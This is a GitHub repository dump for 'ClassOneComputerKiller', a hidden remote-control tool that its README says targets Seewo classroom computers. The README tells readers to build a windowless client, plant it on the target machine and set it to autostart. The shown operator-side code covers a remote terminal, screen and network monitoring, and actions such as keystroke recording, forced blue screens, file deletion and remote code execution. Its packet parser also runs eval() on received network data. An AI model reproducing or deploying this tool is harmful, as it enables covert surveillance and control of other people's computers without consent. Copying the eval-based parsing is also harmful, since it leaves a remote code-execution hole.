├── assets ├── add.png ├── select.ico ├── client_list.ico └── action_editor.ico ├── Design ├── Action.jpg ├── Files.jpg ├── Network.jpg ├── Screen.jpg ├── Terminal.jpg ├── ClientList.jpg ├── Files_Real.jpg ├── Screen_Real.jpg └── Terminal_Real.jpg ├── requirements.txt ├── config.json ├── LICENSE ├── README.md ├── gui ├── setting.py ├── terminal.py ├── network.py ├── widgets.py ├── files.py ├── action.py └── screen.py ├── libs ├── config.py ├── api.py ├── packets.py └── action.py ├── server.py └── client.py /assets/add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/assets/add.png -------------------------------------------------------------------------------- /Design/Action.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Action.jpg -------------------------------------------------------------------------------- /Design/Files.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Files.jpg -------------------------------------------------------------------------------- /Design/Network.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Network.jpg -------------------------------------------------------------------------------- /Design/Screen.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Screen.jpg -------------------------------------------------------------------------------- /assets/select.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/assets/select.ico -------------------------------------------------------------------------------- /Design/Terminal.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Terminal.jpg -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | wxPython==4.2.2 2 | pynput==1.7.7 3 | pillow==10.4.0 4 | pywin32==306 5 | dxcampil==0.0.5 -------------------------------------------------------------------------------- /Design/ClientList.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/ClientList.jpg -------------------------------------------------------------------------------- /Design/Files_Real.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Files_Real.jpg -------------------------------------------------------------------------------- /Design/Screen_Real.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Screen_Real.jpg -------------------------------------------------------------------------------- /assets/client_list.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/assets/client_list.ico -------------------------------------------------------------------------------- /Design/Terminal_Real.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/Design/Terminal_Real.jpg -------------------------------------------------------------------------------- /assets/action_editor.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hite4044/ClassOneComputerKiller/HEAD/assets/action_editor.ico -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "host": "127.0.0.1", 3 | "port": 10616, 4 | "uuid": "c254afb9dd8768da", 5 | "file_block_size": 102400, 6 | "reconnect_time": 2, 7 | "connect_timeout": 2, 8 | "host_changed": null, 9 | "record_key": false, 10 | "timeout_add": false, 11 | "timeout_add_multiplier": 1.5 12 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 hite404 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # _ClassOneComputerKiller_ 2 | ### __一个隐藏式远程控制软件,仅供学习使用__ 3 | ### __严禁用于非法用途!!!__ 4 | 5 | ## 概述 6 | 项目创建于2024.9.2,至2024.9.16均为本人开发\ 7 | 项目名含义为 "一班电脑杀手", 专为Seewo课堂教学机设计\ 8 | 现在初三了换班主任了真好\ 9 | GUI使用[wxPython](https://github.com/wxWidgets/Phoenix)实现, 这是我第一次使用这个库, 有写得不好的请见谅 10 | 11 | 12 | ## 如何使用项目 13 | ### 方法1 (版本旧) (方便) 14 | 1. 到Release下载受控端程序 (推荐文件夹版本) 15 | 2. 运行程序,修改exe同目录下的config.json里的端口与域名并重新启动客户端 (需自行设置开机自启动) 16 | 3. 运行main.py(一般需要你将端口开放至公网) 17 | ### 方法2 (版本最新) (麻烦) 18 | 1. 下载项目 `git clone https://github.com/hite4044/ClassOneComputerKiller.git` 19 | 2. 安装依赖 `pip install -r requirements.txt` 20 | 3. 修改`client.py`里的`DEFAULT_PORT`和`DEFAULT_HOST` (你可能需要使用Frp服务) 21 | 4. 打包好`client.py` `pyinstaller -w -F client.py` 22 | 5. 并放置打包程序到被控端电脑 (需自行设置开机自启动) 23 | 6. 运行main.py等待连接 24 | 25 | ## 目前实现的功能 26 | - 屏幕监视 27 | - 文件浏览 + 文件查看 28 | - 终端 29 | 30 | ## 将来想要实现的功能 31 | - 定时执行操作 32 | - 未连接时仍可设定 33 | - 客户端列表 34 | - 文件传输 35 | - 网络交通显示 36 | 37 | 38 | ## 项目食用方法 39 | 项目内含注释很少,主要还是靠自己理解,我已经尽量拆分成多文件了 40 | 41 | 42 | ## 软件设计稿 43 | 因为我的相机是广角相机,所以可能我处理得不是很好 44 | 45 | ### 屏幕Tab 46 | ![屏幕Tab](Design/Screen.jpg) 47 | ![屏幕TabReal](Design/Screen_Real.jpg) 48 | 49 | ### 文件Tab 50 | ![文件Tab](Design/Files.jpg) 51 | ![文件TabReal](Design/Files_Real.jpg) 52 | 53 | ### 终端Tab 54 | ![终端Tab](Design/Terminal.jpg) 55 | ![终端TabReal](Design/Terminal_Real.jpg) 56 | 57 | ### 客户端列表Tab 58 | ![网络Tab](Design/Network.jpg) 59 | 60 | ### 动作Tab 61 | ![动作Tab](Design/Action.jpg) 62 | 63 | ### 客户端列表窗口 64 | ![客户端列表Win](Design/ClientList.jpg) 65 | -------------------------------------------------------------------------------- /gui/setting.py: -------------------------------------------------------------------------------- 1 | import wx 2 | import platform 3 | from gui.widgets import * 4 | from libs.config import * 5 | from libs.api import get_api 6 | 7 | class ClientConfigurator(Panel): 8 | def __init__(self, parent): 9 | super().__init__(parent) 10 | self.api = get_api(self) 11 | 12 | self.sizer = wx.StaticBoxSizer(wx.VERTICAL, self, label="客户端配置") 13 | 14 | # 使用FlexGridSizer显示系统信息 15 | grid = wx.FlexGridSizer(cols=2, vgap=5, hgap=15) 16 | grid.AddGrowableCol(1, 1) 17 | 18 | # 添加系统信息标签 19 | labels = [ 20 | ("操作系统:", "os"), 21 | ("系统架构:", "arch"), 22 | ("处理器:", "cpu"), 23 | ("物理核心:", "cores"), 24 | ("逻辑核心:", "threads"), 25 | ("内存:", "ram") 26 | ] 27 | 28 | self.info_labels = {} 29 | for label, key in labels: 30 | grid.Add(wx.StaticText(self, label=label), 31 | flag=wx.ALIGN_CENTER_VERTICAL) 32 | value_label = wx.StaticText(self, label="加载中...") 33 | self.info_labels[key] = value_label 34 | grid.Add(value_label, flag=wx.EXPAND | wx.ALIGN_CENTER_VERTICAL) 35 | 36 | self.sizer.Add(grid, flag=wx.EXPAND | wx.ALL, border=15) 37 | self.SetSizer(self.sizer) 38 | self.SetMaxSize(MAX_SIZE) 39 | 40 | def update_system_info(self, system_info: dict): 41 | """更新系统信息显示""" 42 | for key, label in self.info_labels.items(): 43 | if key in system_info: 44 | label.SetLabel(str(system_info[key])) 45 | 46 | 47 | class SettingTab(Panel): 48 | def __init__(self, parent): 49 | super().__init__(parent, size=MAX_SIZE) 50 | self.sizer = wx.BoxSizer(wx.VERTICAL) 51 | 52 | # 只显示客户端配置(删除服务端配置) 53 | self.client_config = ClientConfigurator(self) 54 | self.sizer.Add(self.client_config, flag=wx.EXPAND | wx.ALL, border=10) 55 | 56 | self.SetSizer(self.sizer) 57 | -------------------------------------------------------------------------------- /libs/config.py: -------------------------------------------------------------------------------- 1 | import json 2 | import random 3 | from typing import Any 4 | from posixpath import abspath 5 | from genericpath import isfile 6 | 7 | 8 | class DefaultConfig: 9 | """设置默认值, 并将键名称作为配置文件的名称""" 10 | 11 | HOST = "127.0.0.1" # 服务器地址 12 | PORT = 10616 # 服务器端口 13 | UUID = hex(int.from_bytes(random.randbytes(8), "big"))[2:] # 客户端默认UUID 14 | FILE_BLOCK_SIZE = 1024 * 100 # 文件块大小 15 | RECONNECT_TIME = 2 # 重连间隔时间 16 | CONNECT_TIMEOUT = 2 # 连接超时时间 17 | HOST_CHANGED = None # 地址被服务端改变后,该值为[old_host, old_port] 18 | TIMEOUT_ADD = False # 连接失败后是否增加重试间隔 19 | TIMEOUT_ADD_MULTIPLIER = 1.5 # 每次增加的时间倍率 20 | RECORD_KEY = False # 启用按键记录 21 | 22 | 23 | class Config: 24 | """配置文件 加载, 调用, 保存 器""" 25 | 26 | raw_config = {} 27 | 28 | def __init__(self, config_path: str = "config.json"): 29 | self.file_block = 1024 * 100 # 100KB的文件块大小 30 | self.config_path = abspath(config_path) 31 | self.load_config() 32 | print(self.raw_config) 33 | 34 | def load_config(self): 35 | config_data = self.load_file_config() 36 | for attr_name in dir(DefaultConfig): 37 | if not attr_name.startswith("__"): 38 | key_name = attr_name.lower() 39 | config_data[key_name] = config_data.get(key_name, getattr(DefaultConfig, attr_name)) 40 | self.raw_config = config_data 41 | self.save_config() 42 | 43 | def load_file_config(self) -> dict: 44 | config_data = {} 45 | if isfile(self.config_path): 46 | try: 47 | with open(self.config_path, "r") as f: 48 | config_data = json.load(f) 49 | except OSError as e: 50 | print(f"Error loading config: {e}") 51 | return config_data 52 | 53 | def save_config(self): 54 | config_path = abspath("config.json") 55 | try: 56 | with open(config_path, "w") as f: 57 | json.dump(self.raw_config, f, indent=4) 58 | except OSError as e: 59 | print(f"Error saving config: {e}") 60 | 61 | def __getattr__(self, name: str): 62 | raw_config: dict = object.__getattribute__(self, "raw_config") 63 | if name in raw_config.keys(): 64 | return raw_config[name] 65 | return object.__getattribute__(self, name) 66 | 67 | def __setattr__(self, name: str, value: Any): 68 | raw_config: dict = object.__getattribute__(self, "raw_config") 69 | if name in raw_config.keys(): 70 | raw_config[name] = value 71 | object.__setattr__(self, name, value) 72 | -------------------------------------------------------------------------------- /libs/api.py: -------------------------------------------------------------------------------- 1 | import wx 2 | from typing import Callable 3 | from libs.packets import * 4 | 5 | 6 | class Client: 7 | def send_packet(self, packet, loss_enable: bool = False, priority: int = Priority.HIGHER): ... 8 | def recv_packet(self) -> tuple[int, None] | tuple[int, Packet]: ... 9 | def set_screen_send(self, enable: bool): ... 10 | def set_screen_fps(self, fps: int): ... 11 | def set_screen_quality(self, quality: int): ... 12 | def send_command(self, command: str): ... 13 | def restore_shell(self): ... 14 | 15 | sending_screen: bool = False 16 | pre_scale: bool = False 17 | mouse_control: bool = False 18 | keyboard_control: bool = False 19 | connected: bool = False 20 | screen_counter: int = 0 21 | screen_network_counter: int = 0 22 | 23 | 24 | class ClientAPI: 25 | def __init__(self, client: Client): 26 | self.client = client 27 | self.send_callbacks = [] 28 | self.recv_callbacks = [] 29 | self.raw_recv_func = client.recv_packet 30 | client.recv_packet = self._recv_packet 31 | self.raw_send_func = client.send_packet 32 | client.send_packet = self._send_packet 33 | 34 | def register_recv_cbk(self, callback: Callable[[int, Packet], None]): 35 | self.recv_callbacks.append(callback) 36 | 37 | def register_send_cbk(self, callback: Callable[[int, bytes], None]): 38 | self.send_callbacks.append(callback) 39 | 40 | def send_packet(self, packet: Packet, loss_enable: bool = False, priority: int = Priority.HIGHER): 41 | return self.client.send_packet(packet, loss_enable, priority) 42 | 43 | def set_screen_send(self, enable: bool): 44 | self.client.set_screen_send(enable) 45 | 46 | def set_screen_fps(self, fps: int): 47 | self.client.set_screen_fps(fps) 48 | 49 | def set_screen_quality(self, quality: int): 50 | self.client.set_screen_quality(quality) 51 | 52 | def send_command(self, command: str): 53 | self.client.send_command(command) 54 | 55 | def restore_shell(self): 56 | self.client.restore_shell() 57 | 58 | def set_keyboard_ctl(self, enable: bool): 59 | self.client.keyboard_control = enable 60 | 61 | def set_mouse_ctl(self, enable: bool): 62 | self.client.mouse_control = enable 63 | 64 | def set_pre_scale(self, enable: bool): 65 | self.client.pre_scale = enable 66 | 67 | def _recv_packet(self): 68 | length, packet = self.raw_recv_func() 69 | for callback in self.recv_callbacks: 70 | callback(length, packet) 71 | return length, packet 72 | 73 | def _send_packet(self, packet: Packet, loss_enable: bool = False, priority: int = Priority.HIGHER): 74 | length, data = self.raw_send_func(packet, loss_enable, priority) 75 | for callback in self.send_callbacks: 76 | callback(length, data) 77 | 78 | @property 79 | def sending_screen(self): 80 | return self.client.sending_screen 81 | 82 | @sending_screen.setter 83 | def sending_screen(self, value: bool): 84 | self.client.sending_screen = value 85 | 86 | @property 87 | def pre_scale(self): 88 | return self.client.pre_scale 89 | 90 | @pre_scale.setter 91 | def pre_scale(self, value: float): 92 | self.client.pre_scale = value 93 | 94 | @property 95 | def mouse_control(self): 96 | return self.client.mouse_control 97 | 98 | @mouse_control.setter 99 | def mouse_control(self, value: bool): 100 | self.client.mouse_control = value 101 | 102 | @property 103 | def keyboard_control(self): 104 | return self.client.keyboard_control 105 | 106 | @keyboard_control.setter 107 | def keyboard_control(self, value: bool): 108 | self.client.keyboard_control = value 109 | 110 | @property 111 | def connected(self): 112 | return self.client.connected 113 | 114 | @connected.setter 115 | def connected(self, value: bool): 116 | self.client.connected = value 117 | 118 | @property 119 | def screen_counter(self): 120 | return self.client.screen_counter 121 | 122 | @screen_counter.setter 123 | def screen_counter(self, value: int): 124 | self.client.screen_counter = value 125 | 126 | @property 127 | def screen_network_counter(self): 128 | return self.client.screen_network_counter 129 | 130 | @screen_network_counter.setter 131 | def screen_network_counter(self, value: int): 132 | self.client.screen_network_counter = value 133 | 134 | 135 | def get_window_name(widget: wx.Window, name: str) -> str: 136 | while True: 137 | if not widget: 138 | raise Exception("Can't find Client window") 139 | widget = widget.GetParent() 140 | if type(widget).__name__ == name: 141 | return widget 142 | 143 | def get_api(widget: wx.Window) -> ClientAPI: 144 | return get_window_name(widget, "Client").api 145 | -------------------------------------------------------------------------------- /gui/terminal.py: -------------------------------------------------------------------------------- 1 | import wx 2 | from gui.widgets import * 3 | from libs.api import get_api 4 | 5 | MAX_HISTORY_LENGTH = 100000 6 | 7 | 8 | class TerminalText(wx.TextCtrl): 9 | def __init__(self, parent): 10 | wx.TextCtrl.__init__( 11 | self, 12 | parent=parent, 13 | style=wx.TE_MULTILINE | wx.TE_READONLY | wx.TE_CHARWRAP, 14 | size=(1226, 700), 15 | ) 16 | self.Bind(wx.EVT_CONTEXT_MENU, self.on_menu) 17 | self.api = get_api(self) 18 | self.SetForegroundColour(wx.Colour(204, 204, 204)) 19 | self.SetBackgroundColour(wx.Colour(14, 14, 14)) 20 | 21 | pixel_font = wx.Font( 22 | 12, 23 | wx.FONTFAMILY_DEFAULT, 24 | wx.FONTSTYLE_NORMAL, 25 | wx.FONTWEIGHT_NORMAL, 26 | False, 27 | "宋体", 28 | ) 29 | self.SetFont(pixel_font) 30 | 31 | def load_packet(self, packet: Packet): 32 | output: str = packet["output"] 33 | if chr(12) in output: 34 | self.Clear() 35 | output = output[output.find(chr(12)) + 1 :] 36 | if len(self.GetValue()) > MAX_HISTORY_LENGTH: 37 | self.Remove(0, self.GetLastPosition() - MAX_HISTORY_LENGTH) 38 | self.AppendText(output) 39 | 40 | def on_menu(self, _: wx.MenuEvent): 41 | menu = wx.Menu() 42 | menu.Append(1, "清空") 43 | menu.Append(2, "重启终端") 44 | menu.Bind(wx.EVT_MENU, self.clear_and_send, id=1) 45 | menu.Bind(wx.EVT_MENU, self.restore_shell, id=2) 46 | self.PopupMenu(menu) 47 | 48 | def clear_and_send(self, event: wx.MenuEvent): 49 | self.api.send_command("") 50 | self.Clear() 51 | event.Skip() 52 | 53 | def restore_shell(self, _): 54 | self.Clear() 55 | self.api.restore_shell() 56 | 57 | 58 | class TerminalInput(Panel): 59 | def __init__(self, parent): 60 | super().__init__(parent=parent, size=(1210, 32)) 61 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 62 | self.text = wx.TextCtrl(self, size=(1200, 28), style=wx.TE_PROCESS_ENTER) 63 | self.send_button = wx.Button(self, label="发送", size=(75, 31)) 64 | self.sizer.Add(self.text, flag=wx.ALIGN_TOP | wx.EXPAND | wx.TOP, border=1, proportion=1) 65 | self.sizer.AddSpacer(3) 66 | self.sizer.Add(self.send_button, flag=wx.ALIGN_TOP, proportion=0) 67 | self.sizer.AddSpacer(2) 68 | self.SetSizer(self.sizer) 69 | 70 | self.tip_text = "请输入命令" 71 | self.on_tip = False 72 | self.has_focus = False 73 | self.normal_color = self.GetForegroundColour() 74 | self.gray_color = wx.Colour((76, 76, 76)) 75 | self.api = get_api(self) 76 | self.text.Bind(wx.EVT_SET_FOCUS, self.on_focus) 77 | self.text.Bind(wx.EVT_KILL_FOCUS, self.on_focus_out) 78 | self.text.Bind(wx.EVT_KEY_DOWN, self.on_enter) 79 | self.send_button.Bind(wx.EVT_BUTTON, lambda _: self.send()) 80 | self.on_focus_out() 81 | self.send_button.SetFont(ft(10)) 82 | 83 | self.command_history = [] 84 | self.history_index = 0 85 | 86 | def on_focus(self, event: wx.FocusEvent): 87 | self.has_focus = True 88 | if self.on_tip: 89 | self.text.SetValue("") 90 | self.text.SetForegroundColour(self.normal_color) 91 | self.on_tip = False 92 | event.Skip() 93 | 94 | def on_focus_out(self, event: wx.FocusEvent = None): 95 | self.has_focus = False 96 | wx.CallLater(100, self.check_insert_tip) 97 | if event: 98 | event.Skip() 99 | 100 | def check_insert_tip(self): 101 | if not self.has_focus: 102 | if self.text.GetValue() == "": 103 | self.text.SetValue(self.tip_text) 104 | self.text.SetForegroundColour(self.gray_color) 105 | self.on_tip = True 106 | 107 | def on_enter(self, event: wx.KeyEvent): 108 | if event.GetKeyCode() == wx.WXK_NUMPAD_ENTER or event.GetKeyCode() == wx.WXK_RETURN: 109 | self.send() 110 | elif event.GetKeyCode() == wx.WXK_UP: 111 | if self.history_index > 0: 112 | self.history_index -= 1 113 | self.text.SetValue(self.command_history[self.history_index]) 114 | self.text.SetInsertionPointEnd() 115 | elif event.GetKeyCode() == wx.WXK_DOWN: 116 | if self.history_index < len(self.command_history) - 1: 117 | self.history_index += 1 118 | self.text.SetValue(self.command_history[self.history_index]) 119 | self.text.SetInsertionPointEnd() 120 | else: 121 | event.Skip() 122 | 123 | def send(self): 124 | self.text.SetFocus() 125 | if self.text.GetValue() != "": 126 | self.command_history.append(self.text.GetValue()) 127 | self.history_index = len(self.command_history) 128 | self.api.send_command(self.text.GetValue()) 129 | self.text.Clear() 130 | 131 | 132 | class TerminalTab(Panel): 133 | def __init__(self, parent): 134 | super().__init__(parent=parent, size=(1210, 668)) 135 | self.sizer = wx.BoxSizer(wx.VERTICAL) 136 | self.cmd_text = TerminalText(self) 137 | self.inputter = TerminalInput(self) 138 | self.sizer.Add(self.cmd_text, flag=wx.ALIGN_TOP | wx.EXPAND, proportion=1) 139 | self.sizer.AddSpacer(3) 140 | self.sizer.Add(self.inputter, flag=wx.ALIGN_TOP | wx.EXPAND, proportion=0) 141 | self.SetSizer(self.sizer) 142 | -------------------------------------------------------------------------------- /gui/network.py: -------------------------------------------------------------------------------- 1 | import wx 2 | from gui.widgets import * 3 | from libs.api import get_api 4 | 5 | 6 | class NTWConfig: 7 | view_x = 80 8 | view_y = 0 9 | view_Ox = 0 10 | view_Oy = 50 11 | 12 | 13 | class NetworkUtilization(Panel): 14 | """显示网络占用的图表控件""" 15 | 16 | def __init__(self, parent: wx.Window): 17 | super().__init__(parent, size=MAX_SIZE) 18 | self.datas: list[tuple[int, int]] = [] # 储存数据帧 19 | self.data_lock = Lock() 20 | self.send_counter = 0 # 发送字节计数器 21 | self.recv_counter = 0 # 接收字节计数器 22 | self.last_upt = perf_counter() 23 | self.api = get_api(self) 24 | self.api.register_recv_cbk(self.recv_cbk) 25 | self.api.register_send_cbk(self.send_cbk) 26 | 27 | self.Bind(wx.EVT_PAINT, self.OnPaint) 28 | self.upt_timer = wx.Timer(self) 29 | self.upt_timer.Start(1000) 30 | self.Bind(wx.EVT_TIMER, self.update_data, self.upt_timer) 31 | self.Bind(wx.EVT_KEY_DOWN, lambda e: self.update_data() if e.GetKeyCode() == wx.WXK_F5 else None) 32 | 33 | def recv_cbk(self, length: int, _: Packet): 34 | self.recv_counter += length 35 | 36 | def send_cbk(self, length: int, _: bytes): 37 | self.send_counter += length 38 | 39 | def update_data(self, *_): 40 | """添加数据进入列表""" 41 | self.add_frame( 42 | int(self.send_counter * round(perf_counter() - self.last_upt, 2)), 43 | int(self.recv_counter * round(perf_counter() - self.last_upt, 2)), 44 | ) 45 | self.last_upt = perf_counter() 46 | self.send_counter = 0 47 | self.recv_counter = 0 48 | 49 | def add_frame(self, send: int, recv: int): 50 | """添加一个数据帧 (发送的字节数, 接收的字节数)""" 51 | with self.data_lock: 52 | self.datas.append((send, recv)) 53 | if len(self.datas) > 100: 54 | self.datas.pop(0) 55 | self.Refresh() 56 | 57 | def OnPaint(self, event: wx.PaintEvent): 58 | """用不同的颜色绘制网络流量折线图, 并自适应数据绘制倍率""" 59 | dc = wx.PaintDC(self) 60 | dc.SetBrush(wx.Brush(wx.Colour(255, 0, 0))) 61 | 62 | w, h = self.GetClientSize() 63 | with self.data_lock: 64 | if self.datas == []: 65 | event.Skip() 66 | return 67 | 68 | max_data = max(max(send, recv) for send, recv in self.datas[len(self.datas) // 10 :]) 69 | if max_data == 0: 70 | event.Skip() 71 | return 72 | 73 | magnification = h / max_data 74 | self.draw_data_lines( 75 | dc, 76 | magnification, 77 | wx.Rect( 78 | NTWConfig.view_x, NTWConfig.view_y, w - NTWConfig.view_Ox, h - NTWConfig.view_Oy 79 | ), 80 | ) 81 | self.draw_scale( 82 | dc, 83 | magnification, 84 | wx.Rect( 85 | NTWConfig.view_x - 70, 86 | NTWConfig.view_y + 23, 87 | w - NTWConfig.view_Ox, 88 | h - NTWConfig.view_Oy - 5, 89 | ), 90 | ) 91 | 92 | event.Skip() 93 | 94 | def draw_scale(self, dc: wx.PaintDC, magnification: float, rect: wx.Rect = None): 95 | """绘制纵向的速度刻度和横向的时间刻度""" 96 | if rect is None: 97 | rect = wx.Rect(0, 0, *self.GetClientSize()) 98 | w, h = rect.GetSize() 99 | xOft = rect.GetX() 100 | yOft = rect.GetY() 101 | max_data = max(max(send, recv) for send, recv in self.datas) 102 | step = max_data / 10 103 | 104 | # 绘制纵向的速度刻度 105 | for i in range(11): 106 | y = h - i * step * magnification 107 | dc.DrawLine( 108 | 0 + xOft, 109 | int(y) + yOft + NTWConfig.view_Oy, 110 | 10 + xOft, 111 | int(y) + yOft + NTWConfig.view_Oy, 112 | ) 113 | dc.DrawText(str(format_size(i * step, 1)), 12 + xOft, int(y - 10) + yOft + NTWConfig.view_Oy) 114 | 115 | w += 5 116 | # 绘制横向的时间刻度 117 | if len(self.datas) > 1: 118 | step = (w - NTWConfig.view_x) / (len(self.datas) - 1) 119 | for i in range(0, len(self.datas), max(1, len(self.datas) // 15)): 120 | x = i * step 121 | dc.DrawLine( 122 | wx.Point((int(x) + xOft + NTWConfig.view_x, h - 10 + yOft)), 123 | wx.Point((int(x) + xOft + NTWConfig.view_x, h + yOft)), 124 | ) 125 | if len(str(i)) == 1: 126 | x_offset = -5 127 | else: 128 | x_offset = -8 129 | dc.DrawText(str(i), int(x + x_offset) + xOft + NTWConfig.view_x, h + 5 + yOft) 130 | 131 | def draw_data_lines(self, dc: wx.PaintDC, magnification: float, rect: wx.Rect = None): 132 | """绘制数据折线图""" 133 | if rect is None: 134 | rect = wx.Rect(0, 0, *self.GetClientSize()) 135 | w, h = rect.GetSize() 136 | 137 | # 绘制坐标轴 138 | dc.DrawLine(0, h, w, h) 139 | dc.DrawLine(0, 0, 0, h) 140 | 141 | # 绘制发送和接收的折线图 142 | send_points = [ 143 | wx.Point((i * (w / len(self.datas)), h - send * magnification)) 144 | for i, (send, _) in enumerate(self.datas) 145 | ] 146 | recv_points = [ 147 | wx.Point((i * (w / len(self.datas)), h - recv * magnification)) 148 | for i, (_, recv) in enumerate(self.datas) 149 | ] 150 | dc.SetPen(wx.Pen(wx.Colour(255, 0, 0))) 151 | dc.DrawLines(send_points, 0 + rect.GetX(), -1 + rect.GetY()) 152 | dc.SetPen(wx.Pen(wx.Colour(0, 255, 0))) 153 | dc.DrawLines(recv_points, 0 + rect.GetX(), -1 + rect.GetY()) 154 | 155 | 156 | class NetworkTab(Panel): 157 | def __init__(self, parent: wx.Window): 158 | super().__init__(parent, size=(1210, 668)) 159 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 160 | self.net_util = NetworkUtilization(self) 161 | self.sizer.Add(self.net_util, wx.EXPAND) 162 | self.SetSizer(self.sizer) 163 | -------------------------------------------------------------------------------- /libs/packets.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from threading import Lock, Thread 3 | from time import perf_counter, sleep 4 | from copy import copy 5 | from typing import Any, Dict 6 | 7 | 8 | Packet = Dict[str, Any] 9 | WIDE_WIDTH = 1024 * 1024 * 1024 * 10 10 | 11 | 12 | def pack(datas: Packet): 13 | datas = str(datas).encode("utf-8") 14 | length = len(datas).to_bytes(8, "big", signed=False) 15 | return length + datas 16 | 17 | 18 | def unpack(data: bytes): 19 | data: dict = eval(data.decode("utf-8")) 20 | return data 21 | 22 | 23 | def start_and_return(func, args=(), name: str = None): 24 | thread = Thread(target=func, args=args, daemon=True, name=name) 25 | thread.start() 26 | return thread 27 | 28 | 29 | def ms(start: float, end: float = None): 30 | if end is None: 31 | end = perf_counter() 32 | return round((end - start) * 1000, 2) 33 | 34 | 35 | def packet_str(packet: Packet): 36 | new_packet = {} 37 | for name, value in packet.items(): 38 | if isinstance(value, str) and len(value) > 30: 39 | value = value[:12] + "..." + value[-12:] 40 | new_packet[name] = value 41 | return str(new_packet) 42 | 43 | 44 | class ScreenFormat: 45 | PNG = "png" 46 | JPEG = "jpeg" 47 | RAW = "raw" 48 | 49 | 50 | class Priority: 51 | HIGHEST = 0 52 | HIGH = 1 53 | HIGHER = 2 54 | NORMAL = 3 55 | LOWER = 4 56 | LOW = 5 57 | priorities = [HIGHEST, HIGH, HIGHER, NORMAL, LOWER, LOW] 58 | 59 | 60 | class Actions: 61 | class Action(str): 62 | def __init__(self, name: str, label: str): 63 | self.label = label 64 | 65 | def __new__(cls, value, *args, **kwargs): 66 | return str.__new__(cls, value) 67 | 68 | BLUE_SCREEN = Action("blue_screen", "蓝屏") 69 | RECORD_SCREEN = Action("record_screen", "记录屏幕") 70 | DELETE_FILE = Action("delete_file", "删除文件") 71 | POPUP_ERROR_WINDOW = Action("popup_error_window", "弹出错误窗口") 72 | RETURN_DESKTOP = Action("return_desktop", "返回桌面") 73 | CLOSE_WINDOW = Action("close_window", "关闭窗口") 74 | EXECUTE_COMMAND = Action("execute_command", "执行命令") 75 | EXECUTE_CODE = Action("execute_code", "执行代码") 76 | action_list = [ 77 | BLUE_SCREEN, 78 | RECORD_SCREEN, 79 | DELETE_FILE, 80 | POPUP_ERROR_WINDOW, 81 | RETURN_DESKTOP, 82 | CLOSE_WINDOW, 83 | EXECUTE_COMMAND, 84 | EXECUTE_CODE, 85 | ] 86 | action_map = {action.label: action for action in action_list} 87 | 88 | 89 | class PacketManager: 90 | def __init__(self, connected: bool, sock: socket.socket = None): 91 | # noinspection PyTypeChecker 92 | self.sock: socket.socket = sock 93 | self.stack_lock = Lock() 94 | self.packet_stack = {priority: [] for priority in Priority.priorities} 95 | self.next_loss = False 96 | self.connected = connected 97 | 98 | def init_stack(self): 99 | self.packet_stack = {priority: [] for priority in Priority.priorities} 100 | 101 | def set_socket(self, sock: socket.socket): 102 | self.sock = sock 103 | 104 | def packet_send_thread(self): 105 | while self.connected: 106 | # 取包 107 | with self.stack_lock: 108 | for priority in Priority.priorities: 109 | try: 110 | packet, loss_enable = self.packet_stack[priority].pop(0) 111 | break 112 | except IndexError: 113 | continue 114 | else: 115 | self.next_loss = False 116 | sleep(0.0001) 117 | continue 118 | if loss_enable and self.next_loss: 119 | continue 120 | # print("发送数据包:", packet["type"]) 121 | 122 | # 发包 123 | length = len(packet) 124 | timer = perf_counter() 125 | all_sent = 0 126 | while True: 127 | data = packet[: min(length, 1024 * 1024 * 1024)] 128 | try: 129 | send_length = self.sock.send(data) 130 | except ConnectionError: 131 | self.connected = False 132 | return 133 | except TimeoutError: 134 | print("缓冲区已满! 对方疑似停止接收数据") 135 | continue 136 | if send_length < len(data): 137 | print("宽带已满") 138 | self.next_loss = True 139 